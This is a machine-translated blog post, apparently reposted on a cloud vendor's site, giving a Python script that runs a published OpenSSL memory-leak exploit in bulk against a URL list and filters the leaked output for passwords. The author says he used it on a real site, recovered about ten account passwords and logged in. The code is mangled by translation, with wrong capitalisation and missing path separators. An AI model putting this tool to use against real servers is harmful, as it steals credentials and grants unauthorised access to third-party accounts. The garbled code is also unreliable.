Python batch detection OpenSSL vulnerability program

Source: Internet
Author: User

So find a station, with For loop, batch grabbed 100 files, about 10 minutes to complete, look up the account and password about 10, testing basic can be logged in, if it is a large number of visits to the site, may be caught more time! I used the existing exp to write a convenient batch detection of the vulnerability, mainly practicing python, feel not practice progress too slow

The code is as follows Copy Code

#coding: Utf-8
Import subprocess
Import time

#遍历目标文件中的URL
def Readtar (TargetPath):
F=open (TargetPath, "R")
For URL in F.readlines ():
Url=url.strip ("RN")
Exploit (URL)

#Exp执行, gets the original echo after execution and sends it to the getres for processing
def exploit (URL):
cmd= "python" +r "e:dayopensslssltest.py" +url
Print cmd
Expover=subprocess. Popen (cmd,stdout=subprocess. PIPE)
Time.sleep (5)
Expres=expover.stdout.read ()
Print Expres
'''
#EXP执行回显筛选, get a string with password
def getres (Expres):
Ispwd=false
If Expres.find ("password") >0:
Ispwd=true
If Ispwd==true:
keywords= "Password"
Before=expres[expres.index (keywords) -280:expres.index (keywords)]
After=expres[expres.index (keywords) +len (keywords): expres.index (keywords) +len (keywords) +140]
Passallstr=before+keywords+after
Print Passallstr
If Len (passallstr) ==0:
Print "Maybe no or user in strings"
'''
If __name__== ' __main__ ':
#注明测试目标所在文件
Targetfile=r "E:dayurl.txt"
Readtar (TargetFile)

Mainly with the help of the published exp, just added a very simple file read traversal test code, but also want to print out the "password" keyword before and after a few lines, and finally seems to have some problems, so commented out.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.